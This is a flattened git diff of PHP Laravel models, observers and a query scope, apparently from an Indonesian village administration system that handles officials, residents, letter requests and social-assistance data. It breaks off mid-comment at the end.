$query->select(['pamong_id', 'pamong_nama', 'jabatan_id', 'ref_jabatan.nama AS pamong_jabatan', 'ref_jabatan.jenis', 'pamong_nip', 'pamong_niap', 'pamong_ttd', 'pamong_ub', 'pamong_status', 'pamong_nik']) + ->selectRaw('IF(tweb_desa_pamong.id_pend IS NULL, tweb_desa_pamong.pamong_nama, tweb_penduduk.nama) AS pamong_nama') + ->selectRaw('IF(tweb_desa_pamong.id_pend IS NULL, tweb_desa_pamong.pamong_nik, tweb_penduduk.nik) AS pamong_nik') + ->leftJoin('tweb_penduduk', 'tweb_penduduk.id', '=', 'tweb_desa_pamong.id_pend') + ->leftJoin('ref_jabatan', 'ref_jabatan.id', '=', 'tweb_desa_pamong.jabatan_id'); + + if (ci_db()->field_exists('gelar_depan', 'tweb_desa_pamong')) { + $new_query = $new_query->selectRaw('gelar_depan')->selectRaw('gelar_belakang'); + } + + return $new_query; + } + + /** + * Scope query untuk status pamong + * + * @param Builder $query + * @param mixed $value + * + * @return Builder + */ + public function scopeStatus($query, $value = 1) + { + return $query->where('pamong_status', $value); + } + + /** + * Scope query untuk kepala desa + * + * @param Builder $query + * @param mixed $value + * + * @return Builder + */ + public function scopeKepalaDesa($query) + { + return $this->scopeSelectData($query) + ->where('jabatan_id', kades()->id) + ->where('pamong_status', StatusEnum::YA); + } + + /** + * Scope query untuk sekretaris desa + * + * @param Builder $query + * @param mixed $value + * + * @return Builder + */ + public function scopeSekretarisDesa($query) + { + return $this->scopeSelectData($query) + ->where('jabatan_id', sekdes()->id) + ->where('pamong_status', StatusEnum::YA); + } + + /** + * Scope query untuk Penanda Tangan + * + * Ket : + * - a.n => untuk sekretaris yang dipilih + * - u.b => untuk pamong selain kades dan sekretaris yang dipilih + * + * @param Builder $query + * @param mixed $value + * @param mixed|null $jenis + * + * @return Builder + */ + public function scopeTtd($query, $jenis = null) + { + if ($jenis === 'a.n') { + $query->where('pamong_ttd', 1)->where('jabatan_id', sekdes()->id); + } elseif ($jenis === 'u.b') { + $query->where('pamong_ub', 1)->whereNotIn('jabatan_id', RefJabatan::getKadesSekdes()); + } + + return $this->scopeSelectData($query) + ->where('pamong_status', StatusEnum::YA); + } + + /** + * Scope query untuk daftar penanda tangan + * + * @param Builder $query + * @param mixed $value + * + * @return Builder + */ + public function scopePenandaTangan($query) + { + return $this->scopeSelectData($query) + ->where(static function ($query) { + $query->whereIn('jabatan_id', RefJabatan::getKadesSekdes()) + ->orWhere('pamong_ttd', '1') + ->orWhere('pamong_ub', '1'); + }) + ->where('pamong_status', StatusEnum::YA) + ->orderBy('jenis') + ->orderBy('urut'); + } + + public function scopeKehadiranPamong($query) + { + return $query + ->leftJoin('kehadiran_perangkat_desa as k', 'tweb_desa_pamong.pamong_id', '=', 'k.pamong_id') + ->leftJoin('kehadiran_pengaduan as p', 'tweb_desa_pamong.pamong_id', '=', 'p.id_pamong'); + } + + /** + * Scope query untuk daftar kehadiran pamong + * + * @param Builder $query + * @param mixed $value + * + * @return Builder + */ + public function scopeDaftar($query, $value = 1) + { + return $query->aktif() + ->where('kehadiran', $value); + } + + /** + * Getter status pamong_nama attribute. + * + * @return string + */ + public function getPamongNamaAttribute() + { + if ($this->attributes['id_pend'] != null) { + $pamong_nama = $this->penduduk->nama; + } else { + $pamong_nama = $this->attributes['pamong_nama']; + } + + if ($this->gelar_depan) { + $pamong_nama = $this->gelar_depan . ' ' . $pamong_nama; + } + + if ($this->gelar_belakang) { + $pamong_nama = $pamong_nama . ', ' . $this->gelar_belakang; + } + + return $pamong_nama; + } + + /** + * Scope query untuk pamong yang aktif + * + * @param Builder $query + * + * @return Builder + */ + public function scopeAktif($query) + { + return $query->where('pamong_status', StatusEnum::YA); + } + + /** + * Scope query untuk pamong kecuali yang sudah digunakan di user + * + * @param Builder $query + * @param mixed $id + * + * @return Builder + */ + public function scopeBukanPengguna($query, $id = '') + { + return $query->whereNotIn('pamong_id', static function ($q) use ($id) { + if ($id) { + return $q->select(['pamong_id'])->where('id', '!=', $id)->whereNotNull('pamong_id')->from('user'); + } + + return $q->select(['pamong_id'])->whereNotNull('pamong_id')->from('user'); + }); + } +} diff --git a/app/Models/Paud.php b/app/Models/Paud.php index cb2629227..2447f6f74 100644 --- a/app/Models/Paud.php +++ b/app/Models/Paud.php @@ -1,361 +1,93 @@ -belongsTo(KIA::class, 'kia_id'); + } + + public function scopeFilter($query, array $filters) + { + if (! empty($filters['tahun'])) { + $query->whereYear('sasaran_paud.created_at', $filters['tahun']); + } + + if (! empty($filters['posyandu'])) { + $query->where('posyandu_id', $filters['posyandu']); + } + + return $query; + } +} diff --git a/app/Models/Pekerjaan.php b/app/Models/Pekerjaan.php index b94533eb4..d2ba756fd 100644 --- a/app/Models/Pekerjaan.php +++ b/app/Models/Pekerjaan.php @@ -1,401 +1,50 @@ -hasMany(PembangunanDokumentasi::class, 'id_pembangunan'); + } + + public function wilayah() + { + return $this->hasOne(Wilayah::class, 'id', 'id_lokasi'); + } + + /** + * Get the lokasi. + * + * @return string + */ + public function getlokasiPembAttribute() + { + if ($this->lokasi == null) { + return 'Dusun ' . $this->wilayah->dusun . (($this->wilayah->rw != 0) ? " - Rw {$this->wilayah->rw}" : '') . (($this->wilayah->rt != 0) ? "/RT {$this->wilayah->rw}" : ''); + } + + return $this->lokasi; + } +} diff --git a/app/Models/PembangunanDokumentasi.php b/app/Models/PembangunanDokumentasi.php index a7ab60b39..bfc011588 100644 --- a/app/Models/PembangunanDokumentasi.php +++ b/app/Models/PembangunanDokumentasi.php @@ -1,505 +1,59 @@ -belongsTo(Pembangunan::class, 'id_pembangunan', 'id'); + } +} diff --git a/app/Models/Pendidikan.php b/app/Models/Pendidikan.php index a5a8ad151..204505380 100644 --- a/app/Models/Pendidikan.php +++ b/app/Models/Pendidikan.php @@ -1,409 +1,50 @@ - 'RS/RB', + 2 => 'Puskesmas', + 3 => 'Polindes', + 4 => 'Rumah', + 5 => 'Lainnya', + ]; + + /** + * Static data jenis kelahiran. + * + * @var array + */ + public const JENIS_KELAHIRAN = [ + 1 => 'Tunggal', + 2 => 'Kembar 2', + 3 => 'Kembar 3', + 4 => 'Kembar 4', + ]; + + /** + * Static data penolong kelahiran. + * + * @var array + */ + public const PENOLONG_KELAHIRAN = [ + 1 => 'Dokter', + 2 => 'Bidan Perawat', + 3 => 'Dukun', + 4 => 'Lainnya', + ]; + + /** + * {@inheritDoc} + */ + protected $table = 'tweb_penduduk'; + + /** + * {@inheritDoc} + */ + protected $fillable = [ + 'email', + 'telepon', + 'telegram', + 'hubung_warga', + ]; + + /** + * {@inheritDoc} + */ + protected $appends = [ + 'usia', + 'alamat_wilayah', + ]; + + /** + * {@inheritDoc} + */ + protected $with = [ + 'jenisKelamin', + 'agama', + 'pendidikan', + 'pendidikanKK', + 'pekerjaan', + 'wargaNegara', + 'golonganDarah', + 'cacat', + 'statusKawin', + 'pendudukStatus', + 'wilayah', + 'keluarga', + ]; + + /** + * {@inheritDoc} + */ + protected $casts = [ + 'tanggallahir' => 'datetime:Y-m-d', + ]; + + /** + * The guarded with the model. + * + * @var array + */ + protected $guarded = []; + + /** + * Define a one-to-one relationship. + * + * @return HasOne + */ + public function mandiri() + { + return $this->hasOne(PendudukMandiri::class, 'id_pend')->withoutGlobalScope('App\Scopes\ConfigIdScope'); + } + + /** + * Define a one-to-one relationship. + * + * @return HasOne + */ + public function kia_ibu() + { + return $this->hasOne(KIA::class, 'ibu_id')->withoutGlobalScope('App\Scopes\ConfigIdScope'); + } + + /** + * Define a one-to-one relationship. + * + * @return HasOne + */ + public function kia_anak() + { + return $this->hasOne(KIA::class, 'anak_id')->withoutGlobalScope('App\Scopes\ConfigIdScope'); + } + + /** + * Define an inverse one-to-one or many relationship. + * + * @return BelongsTo + */ + public function jenisKelamin() + { + return $this->belongsTo(Sex::class, 'sex')->withDefault(); + } + + /** + * Define an inverse one-to-one or many relationship. + * + * @return BelongsTo + */ + public function agama() + { + return $this->belongsTo(Agama::class, 'agama_id')->withDefault(); + } + + /** + * Define an inverse one-to-one or many relationship. + * + * @return BelongsTo + */ + public function pendidikan() + { + return $this->belongsTo(Pendidikan::class, 'pendidikan_sedang_id')->withDefault(); + } + + /** + * Define an inverse one-to-one or many relationship. + * + * @return BelongsTo + */ + public function pendidikanKK() + { + return $this->belongsTo(PendidikanKK::class, 'pendidikan_kk_id')->withDefault(); + } + + /** + * Define an inverse one-to-one or many relationship. + * + * @return BelongsTo + */ + public function pekerjaan() + { + return $this->belongsTo(Pekerjaan::class, 'pekerjaan_id')->withDefault(); + } + + /** + * Define an inverse one-to-one or many relationship. + * + * @return BelongsTo + */ + public function wargaNegara() + { + return $this->belongsTo(WargaNegara::class, 'warganegara_id')->withDefault(); + } + + /** + * Define an inverse one-to-one or many relationship. + * + * @return BelongsTo + */ + public function golonganDarah() + { + return $this->belongsTo(GolonganDarah::class, 'golongan_darah_id')->withDefault(); + } + + /** + * Define an inverse one-to-one or many relationship. + * + * @return BelongsTo + */ + public function cacat() + { + return $this->belongsTo(Cacat::class, 'cacat_id')->withDefault(); + } + + /** + * Define an inverse one-to-one or many relationship. + * + * @return BelongsTo + */ + public function sakitMenahun() + { + return $this->belongsTo(SakitMenahun::class, 'sakit_menahun_id')->withDefault(); + } + + /** + * Define an inverse one-to-one or many relationship. + * + * @return BelongsTo + */ + public function kb() + { + return $this->belongsTo(KB::class, 'cara_kb_id')->withDefault(); + } + + /** + * Define an inverse one-to-one or many relationship. + * + * @return BelongsTo + */ + public function statusKawin() + { + return $this->belongsTo(StatusKawin::class, 'status_kawin')->withDefault(); + } + + /** + * Define an inverse one-to-one or many relationship. + * + * @return BelongsTo + */ + public function pendudukHubungan() + { + return $this->belongsTo(PendudukHubungan::class, 'kk_level')->withDefault(); + } + + /** + * Define an inverse one-to-one or many relationship. + * + * @return BelongsTo + */ + public function pendudukStatus() + { + return $this->belongsTo(PendudukStatus::class, 'status')->withDefault(); + } + + /** + * Define an inverse one-to-one or many relationship. + * + * @return BelongsTo + */ + public function keluarga() + { + return $this->belongsTo(Keluarga::class, 'id_kk')->withDefault()->withoutGlobalScope('App\Scopes\ConfigIdScope'); + } + + /** + * Define an inverse one-to-one or many relationship. + * + * @return BelongsTo + */ + public function rtm() + { + return $this->belongsTo(Rtm::class, 'id_rtm', 'no_kk')->withDefault()->withoutGlobalScope('App\Scopes\ConfigIdScope'); + } + + /** + * Define an inverse one-to-one or many relationship. + * + * @return BelongsTo + */ + public function Wilayah() + { + return $this->belongsTo(Wilayah::class, 'id_cluster')->withoutGlobalScope('App\Scopes\ConfigIdScope'); + } + + /** + * Define a one-to-many relationship. + * + * @return HasMany + */ + public function dokumen() + { + return $this->hasMany(Dokumen::class, 'id_pend')->select('id', 'id_pend', 'nama', 'id_syarat', 'tgl_upload')->with(['jenisDokumen'])->hidup(); + } + + /** + * Getter wajib ktp attribute. + * + * @return string + */ + public function getWajibKTPAttribute() + { + return (($this->tanggallahir->age > 16) || (! empty($this->status_kawin) && $this->status_kawin != 1)) + ? 'WAJIB KTP' + : 'BELUM'; + } + + /** + * Getter tempat dilahirkan attribute. + * + * @return string + */ + public function getDiLahirkanAttribute() + { + return static::TEMPAT_LAHIR[$this->tempat_dilahirkan] + ?? ''; + } + + /** + * Getter jenis lahir attribute. + * + * @return string + */ + public function getJenisLahirAttribute() + { + return static::JENIS_KELAHIRAN[$this->jenis_kelahiran] + ?? ''; + } + + /** + * Getter jenis lahir attribute. + * + * @return string + */ + public function getPenolongLahirAttribute() + { + return static::PENOLONG_KELAHIRAN[$this->penolong_kelahiran] + ?? ''; + } + + /** + * Getter status perkawinan attribute. + * + * @return string + */ + public function getStatusPerkawinanAttribute() + { + return ! empty($this->status_kawin) && $this->status_kawin != 2 + ? $this->statusKawin->nama + : ( + empty($this->akta_perkawinan) + ? 'KAWIN BELUM TERCATAT' + : 'KAWIN TERCATAT' + ); + } + + /** + * Getter status hamil attribute. + * + * @return string + */ + public function getStatusHamilAttribute() + { + return empty($this->hamil) ? 'TIDAK HAMIL' : 'HAMIL'; + } + + /** + * Getter nama asuransi attribute. + * + * @return string + */ + public function getNamaAsuransiAttribute() + { + return ! empty($this->id_asuransi) && $this->id_asuransi != 1 + ? (($this->id_asuransi == 99) + ? "Nama/No Asuransi : {$this->no_asuransi}" + : "No Asuransi : {$this->no_asuransi}") + : ''; + } + + /** + * Getter url foto attribute. + * + * @return string + */ + public function getUrlFotoAttribute() + { + // try { + // return Storage::disk('ftp')->exists("desa/upload/user_pict/{$this->foto}") + // ? Storage::disk('ftp')->url("desa/upload/user_pict/{$this->foto}") + // : null; + // } catch (Exception $e) { + // Log::error($e); + // } + } + + /** + * Scope query untuk status penduduk + * + * @param Builder $query + * @param mixed $value + * + * @return Builder + */ + public function scopeStatus($query, $value = 1) + { + return $query->where('status_dasar', $value); + } + + public function scopeHubungWarga($query) + { + return $query->select(['id', 'nama', 'telepon', 'email', 'telegram', 'hubung_warga']) + ->whereNotNull('telepon') + ->orWhereNotNull('email') + ->orWhereNotNull('telegram') + ->status(); + } + + /** + * Scope query untuk menyaring data penduduk berdasarkan parameter yang ditentukan + * + * @param Builder $query + * @param mixed $value + * + * @return Builder + */ + public function scopefilters($query, array $filters = []) + { + foreach ($filters as $key => $value) { + $query->when($value ?? false, static function ($query) use ($value, $key) { + $query->where($key, $value); + }); + } + + return $query; + } + + public function getUsiaAttribute() + { + $tglSekarang = Carbon::now(); + $tglLahir = Carbon::parse($this->tanggallahir); + + return $tglLahir->diffInYears($tglSekarang) . ' Tahun'; + } + + public function getUmurAttribute() + { + $tglSekarang = Carbon::now(); + $tglLahir = Carbon::parse($this->tanggallahir); + + return $tglLahir->diffInYears($tglSekarang); + } + + public function getAlamatWilayahAttribute() + { + if (! in_array($this->id_kk, [0, null])) { + return $this->keluarga->alamat . ' RT ' . $this->keluarga->wilayah->rt . ' / RW ' . $this->keluarga->wilayah->rw . ' ' . ucwords(setting('sebutan_dusun') . ' ' . $this->keluarga->wilayah->dusun); + } + + return $this->alamat_sekarang . ' RT ' . $this->wilayah->rt . ' / RW ' . $this->wilayah->rw . ' ' . ucwords(setting('sebutan_dusun') . ' ' . $this->wilayah->dusun); + } + + public function scopeKepalaKeluarga($query) + { + return $query->where(['kk_level' => SHDKEnum::KEPALA_KELUARGA]); + } +} diff --git a/app/Models/PendudukAsuransi.php b/app/Models/PendudukAsuransi.php index ee5318301..331d8d257 100644 --- a/app/Models/PendudukAsuransi.php +++ b/app/Models/PendudukAsuransi.php @@ -1,457 +1,50 @@ -where('aktif', $value); + } + + /** + * Define an inverse one-to-one or many relationship. + * + * @return BelongsTo + */ + public function penduduk() + { + return $this->belongsTo(Penduduk::class, 'id_pend'); + } + + /** + * Define an inverse one-to-one or many relationship. + * + * @return BelongsTo + */ + public function dokumen() + { + return $this->belongsTo(Dokumen::class, 'id_pend'); + } + + /** + * Get email penduduk attribute. + * + * @return string + */ + public function getEmailAttribute() + { + return $this->penduduk->email; + } +} diff --git a/app/Models/PendudukStatus.php b/app/Models/PendudukStatus.php index b74941b12..47e767963 100644 --- a/app/Models/PendudukStatus.php +++ b/app/Models/PendudukStatus.php @@ -1,441 +1,48 @@ - 'date:Y-m-d H:i:s', + 'updated_at' => 'date:Y-m-d H:i:s', + ]; +} diff --git a/app/Models/PermohonanSurat.php b/app/Models/PermohonanSurat.php index 5e088884e..a8101694a 100644 --- a/app/Models/PermohonanSurat.php +++ b/app/Models/PermohonanSurat.php @@ -1,449 +1,158 @@ - 'Belum Lengkap', + self::SEDANG_DIPERIKSA => 'Sedang Diperiksa', + self::MENUNGGU_TANDA_TANGAN => 'Menunggu Tandatangan', + self::SIAP_DIAMBIL => 'Siap Diambil', + self::SUDAH_DIAMBIL => 'Sudah Diambil', + self::DIBATALKAN => 'Dibatalkan', + ]; + + /** + * {@inheritDoc} + */ + protected $table = 'permohonan_surat'; + + /** + * {@inheritDoc} + */ + protected $fillable = [ + 'id_pemohon', + 'id_surat', + 'isian_form', + 'alasan', + 'keterangan', + 'status', + 'no_hp_aktif', + 'syarat', + 'alasan', + ]; + + /** + * {@inheritDoc} + */ + protected $casts = [ + 'isian_form' => 'json', + 'syarat' => 'json', + ]; + + /** + * {@inheritDoc} + */ + protected $with = ['surat', 'penduduk']; + + /** + * Getter untuk mapping status permohonan. + * + * @return string + */ + public function getStatusPermohonanAttribute() + { + return static::STATUS_PERMOHONAN[$this->status]; + } + + /** + * Getter untuk mapping syartsurat permohonan. + * + * @return string + */ + public function getSyaratSuratAttribute() + { + if ($this->syarat == null) { + return null; + } + + $dokumen = Dokumen::where('id_pend', $this->id_pemohon)->whereIn('id', $this->syarat)->get(); + + return $dokumen->map(static function ($syarat) { + $syarat->nama_syarat = $syarat->jenisDokumen->ref_syarat_nama; + + return $syarat; + }); + } + + /** + * Setter untuk id surat permohonan. + * + * @return void + */ + public function setIdSuratAttribute(string $slug) + { + $this->attributes['id_surat'] = FormatSurat::where('url_surat', $slug)->first()->id; + } + + /** + * Scope query untuk pengguna. + * + * @param Builder $query + * + * @return Builder + */ + public function scopePengguna($query) + { + // return $query->where('id_pemohon', auth('jwt')->user()->penduduk->id); + } + + public function penduduk() + { + return $this->belongsTo(Penduduk::class, 'id_pemohon'); + } + + public function surat() + { + return $this->belongsTo(FormatSurat::class, 'id_surat'); + } +} diff --git a/app/Models/Persil.php b/app/Models/Persil.php index 7db42d902..47ad75ac3 100644 --- a/app/Models/Persil.php +++ b/app/Models/Persil.php @@ -1,377 +1,61 @@ -hasMany(PesanDetail::class, 'pesan_id', 'id'); + } + + public function getCustomDateAttribute() + { + return $this->created_at->format('d-m-Y H:i'); + } +} diff --git a/app/Models/PesanDetail.php b/app/Models/PesanDetail.php index 14ac22155..5a4e7ad83 100644 --- a/app/Models/PesanDetail.php +++ b/app/Models/PesanDetail.php @@ -1,417 +1,60 @@ -hasOne(Pesan::class, 'pesan_id', 'id'); + } + + public function getCustomDateAttribute() + { + return $this->created_at->format('d-m-Y H:i'); + } +} diff --git a/app/Models/Posyandu.php b/app/Models/Posyandu.php index 461b69fd5..81cebb2b3 100644 --- a/app/Models/Posyandu.php +++ b/app/Models/Posyandu.php @@ -1,393 +1,100 @@ - 'boolean', + // ]; + + /** + * Define a one-to-many relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\HasMany + */ + // public function peserta() + // { + // return $this->hasMany(BantuanPeserta::class, 'program_id'); + // } + + /** + * Scope query untuk status bantuan + * + * @param Builder $query + * @param mixed $value + * + * @return Builder + */ + // public function scopeStatus($query, $value = 1) + // { + // return $query->where('status', $value); + // } +} diff --git a/app/Models/RefDokumen.php b/app/Models/RefDokumen.php index 6f9d9d592..fb0c84301 100644 --- a/app/Models/RefDokumen.php +++ b/app/Models/RefDokumen.php @@ -1,409 +1,59 @@ -first(); + } + + // get data jabatan jenis sekdes + public static function getSekdes() + { + return self::whereJenis(self::SEKDES)->first(); + } + + // get data jabatan jenis sekdes + public static function getKadesSekdes() + { + return [ + self::getKades()->id, + self::getSekdes()->id, + ]; + } + + // scope + public function scopeUrut($query, $order = 'ASC') + { + return $query->orderBy(DB::raw('CASE WHEN jenis = 0 THEN 9999 ELSE jenis END'), $order); + } +} diff --git a/app/Models/RentangUmur.php b/app/Models/RentangUmur.php index abb93f613..31c9e6580 100644 --- a/app/Models/RentangUmur.php +++ b/app/Models/RentangUmur.php @@ -1,417 +1,73 @@ - + */ + protected $fillable = [ + 'nama', + 'dari', + 'sampai', + 'status', + ]; +} diff --git a/app/Models/Rtm.php b/app/Models/Rtm.php index ea64d1257..90ce6eefd 100644 --- a/app/Models/Rtm.php +++ b/app/Models/Rtm.php @@ -1,353 +1,100 @@ -hasOne(Penduduk::class, 'id', 'nik_kepala')->withoutGlobalScope('App\Scopes\ConfigIdScope'); + } + + /** + * Define a one-to-many relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\hasMany + */ + public function anggota() + { + return $this->hasMany(Penduduk::class, 'id_rtm', 'no_kk')->withoutGlobalScope('App\Scopes\ConfigIdScope'); + } + + /** + * Scope query untuk status rumah tangga + * + * @return Builder + */ + public function scopeStatus() + { + return static::whereHas('kepalaKeluarga', static function ($query) { + $query->status()->where('rtm_level', '1'); + }); + } +} diff --git a/app/Models/RtmHubungan.php b/app/Models/RtmHubungan.php index 302d95686..8522bb477 100644 --- a/app/Models/RtmHubungan.php +++ b/app/Models/RtmHubungan.php @@ -1,417 +1,64 @@ - 'boolean', + // ]; + + /** + * Define a one-to-many relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\HasMany + */ + // public function peserta() + // { + // return $this->hasMany(BantuanPeserta::class, 'program_id'); + // } + + /** + * Scope query untuk status bantuan + * + * @param Builder $query + * @param mixed $value + * + * @return Builder + */ + // public function scopeStatus($query, $value = 1) + // { + // return $query->where('status', $value); + // } +} diff --git a/app/Models/SettingAplikasi.php b/app/Models/SettingAplikasi.php index ab89f7105..a7474b751 100644 --- a/app/Models/SettingAplikasi.php +++ b/app/Models/SettingAplikasi.php @@ -1,449 +1,148 @@ - 'json', + ]; + + // public function getValueAttribute() + // { + // if ($this->attributes['key'] == 'web_theme') { + // return config_item('web_theme'); + // } + + // return $this->attributes['value']; + // } + + public function getOptionAttribute() + { + if ($this->attributes['jenis'] == 'option' && $this->attributes['key'] == 'web_theme') { + // TODO : Akan dipindahkan ke modul tema + $list_tema = []; + $tema_semua = array_merge(glob('vendor/themes/*', GLOB_ONLYDIR), glob('desa/themes/*', GLOB_ONLYDIR)); + + foreach ($tema_semua as $tema) { + if (is_file(FCPATH . $tema . '/template.php')) { + $list_tema[] = str_replace(['vendor/', 'themes/'], '', $tema); + } + } + + return array_combine($list_tema, $list_tema); + } + if ($this->attributes['jenis'] == 'option' && $this->attributes['key'] == 'tampilan_anjungan_slider') { + return Galeri::whereParrent(Galeri::PARRENT)->whereEnabled(StatusEnum::YA)->pluck('nama', 'id'); + } + if ($this->attributes['jenis'] == 'boolean') { + return [ + 1 => 'Ya', + 0 => 'Tidak', + ]; + } + + return json_decode($this->attributes['option'], true); + } + + public function getValueAttribute() + { + if ($this->attributes['key'] == 'tampilkan_tombol_peta') { + return json_decode($this->attributes['value'], true); + } + + return $this->attributes['value']; + } +} diff --git a/app/Models/Sex.php b/app/Models/Sex.php index 3f3f3db60..28d1024b8 100644 --- a/app/Models/Sex.php +++ b/app/Models/Sex.php @@ -1,353 +1,50 @@ - + */ + protected $fillable = [ + 'nama', + 'slug', + 'sasaran', + 'keterangan', + ]; +} diff --git a/app/Models/SyaratSurat.php b/app/Models/SyaratSurat.php index c08b0f284..793365fd9 100644 --- a/app/Models/SyaratSurat.php +++ b/app/Models/SyaratSurat.php @@ -1,417 +1,100 @@ -hasMany(Dokumen::class, 'id_syarat')->where('id_pend', auth('jwt')->id()); + + return $this->hasMany(Dokumen::class, 'id_syarat'); + } +} diff --git a/app/Models/TeksBerjalan.php b/app/Models/TeksBerjalan.php index c0a034901..3b7df6ca2 100644 --- a/app/Models/TeksBerjalan.php +++ b/app/Models/TeksBerjalan.php @@ -1,425 +1,106 @@ - 'boolean', + ]; + + /** + * Scope query untuk status + * + * @param Builder $query + * @param mixed $value + * + * @return Builder + */ + // TODO :: ganti jadi YA (1) dan TIDAK (0) + public function scopeStatus($query, $value = 1) + { + return $query->where('status', $value); + } + + /** + * Scope query untuk tipe + * + * @param Builder $query + * @param mixed $value + * + * @return Builder + */ + public function scopeTipe($query, $value = 1) + { + return $query->where('tipe', $value); + } +} diff --git a/app/Models/Urls.php b/app/Models/Urls.php index 360c7cc45..5e6e494f5 100644 --- a/app/Models/Urls.php +++ b/app/Models/Urls.php @@ -1,361 +1,68 @@ - + */ + protected $fillable = [ + 'nama', + 'email', + 'password', + 'foto', + 'last_login', + 'id_telegram', + 'notif_telegram', + 'telegram_verified_at', + 'email_verified_at', + ]; + + /** + * The attributes that should be hidden for serialization. + * + * @var array + */ + protected $hidden = [ + 'password', + 'remember_token', + ]; + + /** + * The attributes that should be cast. + * + * @var array + */ + protected $casts = [ + 'email_verified_at' => 'datetime', + 'telegram_verified_at' => 'datetime', + ]; + + public function getJWTIdentifier() + { + // return $this->getKey(); + } + + public function getJWTCustomClaims() + { + return []; + } + + /** + * Define a one-to-one relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\hasOne + */ + public function pamong() + { + return $this->hasOne(Pamong::class, 'pamong_id', 'pamong_id'); + } + + /** + * Scope query untuk status pengguna + * + * @param mixed $query + * @param mixed $status + * + * @return Builder + */ + public function scopeStatus($query, $status = 1) + { + return $query->where('active', $status); + } + + /** + * Scope query untuk super admin + * + * Super admin tidak terikat dengan status (selalu aktif) dan hanya ada 1 untuk setiap desa + * + * @param mixed $query + * + * @return Builder + */ + public function scopeSuperAdmin($query) + { + return $query->where('id_grup', UserGrup::getGrupId(UserGrup::ADMINISTRATOR))->first(); + } +} diff --git a/app/Models/UserGrup.php b/app/Models/UserGrup.php index 8b2e8e6b9..01040734c 100644 --- a/app/Models/UserGrup.php +++ b/app/Models/UserGrup.php @@ -1,393 +1,75 @@ -pluck('id')->toArray(); + } + + public function getGrupId($slug) + { + return self::where(Schema::hasColumn('user_grup', 'slug') ? 'slug' : 'nama', $slug)->value('id'); + } +} diff --git a/app/Models/WargaNegara.php b/app/Models/WargaNegara.php index 271411d84..b29cbc282 100644 --- a/app/Models/WargaNegara.php +++ b/app/Models/WargaNegara.php @@ -1,417 +1,48 @@ -where('rt', '=', '0')->where('rw', '=', '0'); + } + + /** + * Scope query untuk rw. + * + * @param Builder $query + * + * @return Builder + */ + public function scopeRw($query) + { + return $query->where('rt', '=', '0')->where('rw', '!=', '0'); + } + + /** + * Scope query untuk rt + * + * @param Builder $query + * + * @return Builder + */ + public function scopeRt($query) + { + return $query->where('rt', '!=', '0'); + } + + /** + * Define a one-to-many relationship. + * + * @return HasMany + */ + public function kepala() + { + return $this->hasOne(Penduduk::class, 'id', 'id_kepala')->select('nik', 'nama', 'id'); + } +} diff --git a/app/Observers/AuthorObserver.php b/app/Observers/AuthorObserver.php index 034b29f11..496e1e54c 100644 --- a/app/Observers/AuthorObserver.php +++ b/app/Observers/AuthorObserver.php @@ -1,465 +1,56 @@ -created_by = auth()->id; + $model->updated_by = auth()->id; + } + + public function updating(Model $model) + { + $model->updated_by = auth()->id; + } +} diff --git a/app/Observers/ConfigIdObserver.php b/app/Observers/ConfigIdObserver.php index c3b03fe81..5c2691954 100644 --- a/app/Observers/ConfigIdObserver.php +++ b/app/Observers/ConfigIdObserver.php @@ -1,481 +1,50 @@ -config_id = identitas('id'); + } +} diff --git a/app/Scopes/ConfigIdScope.php b/app/Scopes/ConfigIdScope.php index 1b3f5954c..aedec952d 100644 --- a/app/Scopes/ConfigIdScope.php +++ b/app/Scopes/ConfigIdScope.php @@ -1,433 +1,80 @@ -getTable(), 'config_id')) { + return $builder->where($model->getTable() . '.config_id', identitas('id')); + } + + return $builder; + } + + /** + * Extend the query builder with the needed functions. + * + * @return void + */ + public function extend(Builder $builder) + { + $builder->macro('withConfigId', static function (Builder $builder, $alias = null) { + if (! Schema::hasColumn($builder->getModel()->getTable(), 'config_id')) { + return $builder; + } + + if ($alias) { + return $builder->where("{$alias}.config_id", identitas('id')); + } + + return $builder->where('config_id', identitas('id')); + }); + } +} diff --git a/app/Services/DTKSRegsosEk2022k.php b/app/Services/DTKSRegsosEk2022k.php index 8a8b4900b..fac5f8635 100644 --- a/app/Services/DTKSRegsosEk2022k.php +++ b/app/Services/DTKSRegsosEk2022k.php @@ -1,481 +1,2300 @@ - [target_table, target_field]] + */ + protected static function relasiPengaturanProgram() + { + return [ + '501a' => ['dtks', implode(',', ['kd_bss_bnpt', 'bulan_bss_bnpt', 'tahun_bss_bnpt'])], + '501b' => ['dtks', implode(',', ['kd_pkh', 'bulan_pkh', 'tahun_pkh'])], + '501c' => ['dtks', implode(',', ['kd_blt_dana_desa', 'bulan_blt_dana_desa', 'tahun_blt_dana_desa'])], + '501d' => ['dtks', implode(',', ['kd_subsidi_listrik', 'bulan_subsidi_listrik', 'tahun_subsidi_listrik'])], + '501e' => ['dtks', implode(',', ['kd_bantuan_pemda', 'bulan_bantuan_pemda', 'tahun_bantuan_pemda'])], + '501f' => ['dtks', implode(',', ['kd_subsidi_pupuk', 'bulan_subsidi_pupuk', 'tahun_subsidi_pupuk'])], + '501g' => ['dtks', implode(',', ['kd_subsidi_lpg', 'bulan_subsidi_lpg', 'tahun_subsidi_lpg'])], + '431a1' => ['dtks_anggota', 'kd_jamkes_setahun'], + '431a2' => ['dtks_anggota', 'kd_jamkes_setahun'], + '431a3' => ['dtks_anggota', 'kd_jamkes_setahun'], + '431a4' => ['dtks_anggota', 'kd_jamkes_setahun'], + '431a1_431a4_default' => ['dtks_anggota', 'kd_jamkes_setahun'], + '431b' => ['dtks_anggota', 'kd_ikut_prakerja'], + '431b_default' => ['dtks_anggota', 'kd_ikut_prakerja'], + '431c' => ['dtks_anggota', 'kd_ikut_kur'], + '431c_default' => ['dtks_anggota', 'kd_ikut_kur'], + '431d' => ['dtks_anggota', 'kd_ikut_umi'], + '431d_default' => ['dtks_anggota', 'kd_ikut_umi'], + '431e' => ['dtks_anggota', 'kd_ikut_pip'], + '431e_default' => ['dtks_anggota', 'kd_ikut_pip'], + '431f1' => ['dtks_anggota', 'jumlah_jamket_kerja'], + '431f2' => ['dtks_anggota', 'jumlah_jamket_kerja'], + '431f3' => ['dtks_anggota', 'jumlah_jamket_kerja'], + '431f4' => ['dtks_anggota', 'jumlah_jamket_kerja'], + '431f5' => ['dtks_anggota', 'jumlah_jamket_kerja'], + '431f1_431f5_default' => ['dtks_anggota', 'jumlah_jamket_kerja'], + ]; + } + + /** + * Cache 